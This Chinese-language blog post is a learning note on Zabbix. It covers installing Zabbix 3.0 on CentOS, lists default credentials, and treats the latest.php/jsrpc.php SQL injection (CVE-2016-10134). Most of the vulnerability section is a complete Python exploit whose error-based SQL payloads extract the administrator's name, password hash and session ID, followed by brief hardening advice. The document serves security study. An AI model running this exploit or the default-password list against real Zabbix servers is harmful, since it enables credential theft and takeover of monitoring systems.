Zabbix(分布式系统监视)漏洞学习

Zabbix 安装部署

安装环境

OS:CentOS 7.2 64bit
Zabbix版本:3.0.24
MySQL版本:5.7
注:zabbix3.0相关要求 mysql5.0以上版本、apache1.3以上版本、php5.4以上版本。

安装步骤

  1. 关闭selinuxiptables

    [root@test ~]# systemctl stop firewalld.service
    [root@test ~]# setenforce 0
    setenforce: SELinux is disabled

  2. 安装Zabbix rpm包仓库

    [root@test ~]# rpm -vhi http://repo.zabbix.com/zabbix/3.0/rhel/7/x86_64/zabbix-release-3.0-1.el7.noarch.rpm

  3. 安装zabbix-server-mysqlzabbix-web-mysql

    [root@test ~]# yum install -y zabbix-server-mysql zabbix-web-mysql

  4. 启动mysql

    [root@test ~]# systemctl start mysqld
    [root@test ~]# /sbin/chkconfig mysqld on #开机启动
    [root@test ~]# mysql_secure_installation #初始化数据库信息

  5. 创建zabbix数据库,创建zabbix账号

    [root@test ~]# mysql -uroot -p
    mysql> create database zabbix character set utf8 collate utf8_bin;
    Query OK, 1 row affected (0.00 sec)
    mysql> grant all privileges on zabbix.* to ‘zabbix‘@’localhost’ identified by ‘zabbix’;
    Query OK, 0 rows affected (0.00 sec)
    mysql> flush privileges;
    Query OK, 0 rows affected (0.01 sec)

  6. 导入默认的zabbix数据库信息

    [root@test ~]# zcat /usr/share/doc/zabbix-server-mysql-3.0.24/create.sql.gz | mysql zabbix -uzabbix -pzabbix

  7. 修改zabbix_server.conf的配置文件

    [root@test ~]# grep ^DB /etc/zabbix/zabbix_server.conf
    DBName=zabbix
    DBUser=zabbix
    DBPassword=zabbix

  8. 修改配置文件/etc/httpd/conf.d/zabbix.conf,时区改成 Asia/Shanghai

    php_value date.timezone Asia/Shanghai

  9. 启动apache zabbix-server服务并设置为开机启动

    [root@test ~]# systemctl start httpd
    [root@test ~]# systemctl enable httpd
    [root@test ~]# netstat -an |grep 80
    tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
    [root@test ~]# systemctl start zabbix-server
    [root@test ~]# systemctl enable zabbix-server

  10. 访问http://ip/zabbix/setup.php进入安装页面

    Next step-Next step-配置zabbix-Next step-Next step-Finsh

图片.png

  1. 默认账号Admin 密码zabbix
    图片.png
  2. 移除或改名web目录下面的setup.php文件

    [root@test ~]# cd /usr/share/zabbix/
    [root@test zabbix]# mv setup.php setup.php.bak

Zabbix 默认密码

弱口令
WeapPassword = [(“admin”,”zabbix”),(“Admin”,”zabbix”),(“guest”,””)]

zabbix latest.php SQL注入漏洞(CVE-2016-10134)

漏洞详情:latest.php处toogle_ids[]参数SQL注入,可获取系统权限
利用条件:登录后
影响版本:2.2.x, 3.0.x
漏洞复现:https://www.jianshu.com/p/40a0e8238878

注入检测EXP

附上大佬的EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Date: 2016/8/18
# Modified by: Jamin Zhang

import urllib2
import sys, os
import re

def deteck_Sql():
u'检查是否存在 SQL 注入'
payload = "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=999'&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1"
try:
response = urllib2.urlopen(url + payload, timeout=10).read()
except Exception, msg:
print msg
else:
key_reg = re.compile(r"INSERT\s*INTO\s*profiles")
if key_reg.findall(response):
return True


def sql_Inject(sql):
u'获取特定sql语句内容'
payload = url + "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=" + urllib2.quote(
sql) + "&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1"
try:
response = urllib2.urlopen(payload, timeout=10).read()
except Exception, msg:
print msg
else:
result_reg = re.compile(r"Duplicate\s*entry\s*'~(.+?)~1")
results = result_reg.findall(response)
if results:
return results[0]


if __name__ == '__main__':
# os.system(['clear', 'cls'][os.name == 'nt'])
print '+' + '-' * 60 + '+'
print u'\t Python Zabbix < 3.0.4 SQL 注入 Exploit'
print '\t Origin Author: http://www.waitalone.cn/'
print '\t\t Modified by: Jamin Zhang'
print '\t\t Date: 2016-08-18'
print '+' + '-' * 60 + '+'
if len(sys.argv) != 2:
print u'用法: ' + os.path.basename(sys.argv[0]) + u' [Zabbix Server Web 后台 URL]'
print u'实例: ' + os.path.basename(sys.argv[0]) + ' http://jaminzhang.github.io'
sys.exit()
url = sys.argv[1]
if url[-1] != '/': url += '/'
passwd_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select concat(name,0x3a,passwd) from users limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
session_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select sessionid from sessions limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
if deteck_Sql():
print u'Zabbix 存在 SQL 注入漏洞!\n'
print u'管理员 用户名密码:%s' % sql_Inject(passwd_sql)
print u'管理员 Session_id:%s' % sql_Inject(session_sql)
else:
print u'Zabbix 不存在 SQL 注入漏洞!\n'

图片.png

修复建议

关闭 guest 访问权限,加强管理员密码强度
对zabbix后台做访问控制,只允许指定IP访问zabbix-server后台

参考链接:
https://www.cnblogs.com/xiewenming/p/7732144.html
https://jaminzhang.github.io/security/Zabbix-latest-SQL-Injection-Vulnerability-and-EXP/